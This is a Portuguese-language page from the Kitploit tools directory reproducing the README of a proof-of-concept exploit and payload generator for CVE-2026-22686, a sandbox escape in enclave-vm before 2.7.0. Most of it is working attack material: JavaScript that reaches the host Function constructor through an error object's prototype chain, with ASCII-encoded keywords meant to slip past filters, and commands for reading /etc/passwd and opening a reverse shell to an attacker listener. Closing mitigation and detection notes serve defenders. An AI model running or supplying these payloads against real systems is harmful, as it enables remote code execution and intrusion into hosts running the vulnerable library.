Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — Prova de conceito de exploit e gerador de payload para CVE-2026-22686, uma fuga de sandbox no enclave-vm <2.7.0 que permite execução de código arbitrário e reverse shells. | Kitploit
Ferramentas/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e EducaçãoRed Teaming
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

Prova de conceito de exploit e gerador de payload para CVE-2026-22686, uma fuga de sandbox no enclave-vm <2.7.0 que permite execução de código arbitrário e reverse shells.

Ver Repositório
27há 20 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-22686 — PoC de Escape de Sandbox do enclave-vm

CVE CVSS enclave-vm Python License

Um exploit de prova de conceito (PoC) e gerador de payload para CVE-2026-22686, uma vulnerabilidade crítica de escape de sandbox no enclave-vm em versões anteriores à 2.7.0, permitindo execução de código arbitrário dentro do runtime Node.js do host.

⚠️ Aviso: Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. O uso contra sistemas sem consentimento prévio por escrito é ilegal. O autor não assume qualquer responsabilidade por qualquer uso indevido.


📖 Índice

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Como Funciona
  • Instalação
  • Uso
  • Anatomia do Payload
  • Mitigação
  • Legal
  • Referências
  • Autor
  • Licença

🔍 Visão Geral

enclave-vm é uma biblioteca de sandboxing JavaScript projetada para executar com segurança código não confiável dentro de um ambiente controlado. Nas versões < 2.7.0, uma falha na forma como os objetos de erro do lado do host são expostos ao sandbox permite que um atacante percorra a cadeia de protótipos e alcance o construtor Function do host, escapando efetivamente do sandbox.

Este repositório contém:

  • Um gerador de payload que produz um payload JavaScript pronto para colar
  • Suporte para execução de comandos arbitrários no host
  • Suporte para payloads de reverse shell
  • Uma CLI interativa bilíngue (Francês / Inglês)

🛡️ Detalhes da Vulnerabilidade

CampoValor
CVE IDCVE-2026-22686
CVSS v3.110.0 (Crítico)
CWECWE-693 — Falha no Mecanismo de Proteção
Componenteenclave-vm
Afetado< 2.7.0
Corrigido em2.7.0
ImpactoEscape de sandbox → execução de código arbitrário (RCE)

Causa Raiz

Quando uma chamada de ferramenta em sandbox falha, o enclave-vm expõe o objeto Error do lado do host de volta ao código em sandbox. Como esse objeto de erro mantém sua cadeia de protótipos original do ambiente host, um atacante pode percorrer a cadeia da seguinte forma:

Error instance
   └── Error.prototype
        └── Error constructor
             └── Function constructor  ← host Function!

Uma vez obtido o construtor Function do host, o atacante pode compilar e executar JavaScript arbitrário no runtime do host — contornando completamente o sandbox.


⚙️ Como Funciona

O exploit segue estas etapas:

  1. Acionar um erro do lado do host invocando uma ferramenta inexistente (callTool('NONEXISTENT', {})).
  2. Recuperar o objeto de erro do sandbox (ele mantém uma referência à cadeia de protótipos do host).
  3. Percorrer a cadeia de protótipos para alcançar Error.prototype.constructor.constructor, que é o Function do host.
  4. Compilar o payload do atacante usando o Function do host e executá-lo.
  5. O payload carrega child_process e executa um comando shell arbitrário (ou gera um reverse shell).

Todas as palavras-chave sensíveis (constructor, __proto__, __lookupGetter__, prototype) são ofuscadas como códigos de caracteres ASCII para contornar filtros estáticos simples.


📦 Instalação

Sem dependências externas — usa apenas a biblioteca padrão do Python.

git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py

Requisitos:

  • Python 3.8+

🚀 Uso

Modo Interativo

python3 generator.py

Será solicitado que você:

  1. Selecione seu idioma (Francês / Inglês)
  2. Selecione o tipo de payload (comando ou reverse shell)
  3. Forneça o comando / IP / porta

Em seguida, copie o payload gerado e cole-o na entrada do sandbox vulnerável.

Execução de Comandos

python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"

Reverse Shell

Terminal 1 (atacante — listener):

nc -lvnp 4444

Terminal 2 (gerador):

python3 generator.py --revshell 10.10.15.152 4444

Copie o payload resultante e cole-o no sandbox. Você deve receber um shell no Terminal 1.

Saída de Payload Bruto

python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard

Opções da CLI

FlagDescrição
-c, --commandComando shell a executar
--revshell LHOST LPORTGera um payload de reverse shell
--rawImprime apenas o payload (sem banner, sem decoração)
--lang {fr,en}Força o idioma da interface
-h, --helpMostra ajuda e exemplos

🔬 Anatomia do Payload

1. Decodificador ASCII

const s = (...args) => String.fromCharCode(...args);

Um pequeno auxiliar para decodificar arrays de códigos ASCII em tempo de execução.

2. Palavras-chave Ofuscadas

const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"

Evita filtros triviais baseados em strings.

3. Cadeia de Exploit

const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);

let hostError;
try {
    await callTool('NONEXISTENT', {});
} catch (e) {
    hostError = e;
}

const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon];   // Host's Function constructor
const result = HostFunc(payload)();      // Arbitrary code execution

O Function do host é então usado para executar o comando do atacante via child_process.execSync().


🛡️ Mitigação

Para Desenvolvedores:

  • Atualize o enclave-vm para >= 2.7.0.
  • Audite sua árvore de dependências regularmente (npm audit, Snyk, Dependabot).
  • Nunca exponha recursos de execução em sandbox a entradas não confiáveis sem validação adicional.
  • Execute código em sandbox em processos isolados (por exemplo, isolated-vm, gVisor, Firecracker).

Para Usuários / Organizações:

  • Monitore bibliotecas de sandbox desatualizadas em produção.
  • Restrinja o acesso de rede de saída de qualquer processo que execute código do usuário.
  • Aplique o princípio do menor privilégio: execute processos Node.js como não-root.

Detecção:

Procure por requisições HTTP ou envios de código contendo callTool('NONEXISTENT', __lookupGetter__, longos arrays de literais inteiros separados por vírgula, ou child_process / execSync.


⚖️ Legal

Baixar ferramenta